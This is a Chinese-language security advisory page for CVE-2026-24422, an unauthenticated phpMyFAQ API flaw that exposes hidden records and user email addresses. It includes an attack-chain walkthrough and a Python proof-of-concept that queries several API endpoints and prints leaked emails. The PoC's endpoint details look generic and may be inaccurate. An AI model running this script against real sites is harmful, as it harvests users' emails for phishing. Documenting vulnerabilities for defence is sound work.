IPBUF安全漏洞报告
English
CVE-2026-24422 CVSS 5.3 中危

CVE-2026-24422 phpMyFAQ API敏感信息泄露漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-24422
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

信息泄露API漏洞权限绕过phpMyFAQ敏感数据暴露CVE-2026-24422

漏洞概述

phpMyFAQ是一款开源的FAQ(常见问题解答)Web应用程序。在4.0.16及以下版本中,多个公共API端点由于访问控制不足,不当暴露了敏感用户信息。具体而言,OpenQuestionController::list()端点在默认情况下以showAll=true调用Question::getAll()方法,返回标记为非公开(isVisible=false)的记录以及用户电子邮件地址。此外,评论、新闻和FAQ相关的API也存在类似的信息泄露问题。此信息泄露漏洞可能使攻击者能够收集电子邮件地址用于钓鱼攻击,或访问明确标记为私有的内容。攻击者无需认证即可利用此漏洞,通过构造特定的API请求即可获取敏感信息。该问题已在4.0.17版本中修复。

技术细节

该漏洞源于phpMyFAQ 4.0.16及以下版本中API端点的权限控制缺陷。OpenQuestionController::list()端点默认调用Question::getAll()方法时设置showAll参数为true,导致即使内容被标记为不可见(isVisible=false),系统仍会返回这些记录的完整信息,包括用户注册的电子邮件地址。攻击者可以通过以下方式利用此漏洞:1) 直接访问公共API端点,无需任何认证;2) 构造请求参数触发showAll逻辑;3) 批量请求获取所有非公开的问题记录及其关联的用户邮箱。类似的问题也存在于comment、news和FAQ等API模块中。攻击者可以利用泄露的邮箱信息进行精准钓鱼攻击,或进一步分析非公开内容寻找其他可利用的安全弱点。漏洞的技术根因在于后端未对API响应进行权限校验,未根据当前用户的访问权限过滤敏感数据。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站上运行的phpMyFAQ版本(<=4.0.16),通过查看页面源码或HTTP响应头获取版本信息
STEP 2
步骤2
攻击者构造针对OpenQuestionController::list()端点的API请求,设置showAll=true参数(默认值),无需任何认证
STEP 3
步骤3
后端在默认配置下执行Question::getAll()方法,返回所有记录包括标记为isVisible=false的非公开内容
STEP 4
步骤4
API响应中包含敏感用户信息,特别是注册用户的电子邮件地址被完整泄露
STEP 5
步骤5
攻击者批量请求comment、news、faq等API端点,收集更多敏感信息用于钓鱼攻击或进一步渗透
STEP 6
步骤6
利用收集到的邮箱地址进行精准钓鱼攻击,或分析非公开内容寻找其他安全漏洞

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-24422 PoC - phpMyFAQ Information Disclosure # Target: phpMyFAQ <= 4.0.16 # Vulnerability: Multiple API endpoints expose sensitive user information TARGET_URL = "https://vulnerable-server.com" def exploit_open_question_api(): """Exploit OpenQuestionController::list() endpoint to leak non-public records with email addresses""" endpoint = f"{TARGET_URL}/api/openquestion/list" headers = { "Content-Type": "application/json" } # Default showAll=true causes information disclosure data = { "action": "list", "showAll": True } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Success! Retrieved {len(result.get('data', []))} records") # Extract email addresses from leaked data for record in result.get('data', []): if 'email' in record: print(f"[+] Leaked email: {record['email']}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def exploit_comment_api(): """Exploit comment API for similar information disclosure""" endpoint = f"{TARGET_URL}/api/comment/list" headers = {"Content-Type": "application/json"} data = {"action": "list", "showAll": True} try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Comment API leaked {len(result.get('data', []))} records") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def exploit_news_api(): """Exploit news API for information disclosure""" endpoint = f"{TARGET_URL}/api/news/list" headers = {"Content-Type": "application/json"} data = {"action": "list", "showAll": True} try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] News API leaked {len(result.get('data', []))} records") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("[*] CVE-2026-24422 phpMyFAQ Information Disclosure PoC") print("[*] Target: phpMyFAQ <= 4.0.16") exploit_open_question_api() exploit_comment_api() exploit_news_api()

影响范围

phpMyFAQ <= 4.0.16

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解风险:1) 在Web应用防火墙(WAF)上配置规则,限制对/api/*端点的访问频率;2) 关闭不必要的API端点或通过nginx/Apache配置限制API路由访问;3) 启用应用层认证,要求API请求携带有效的会话令牌;4) 定期审计日志,检测是否存在异常的API批量请求模式;5) 加强对用户的钓鱼邮件安全意识培训。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表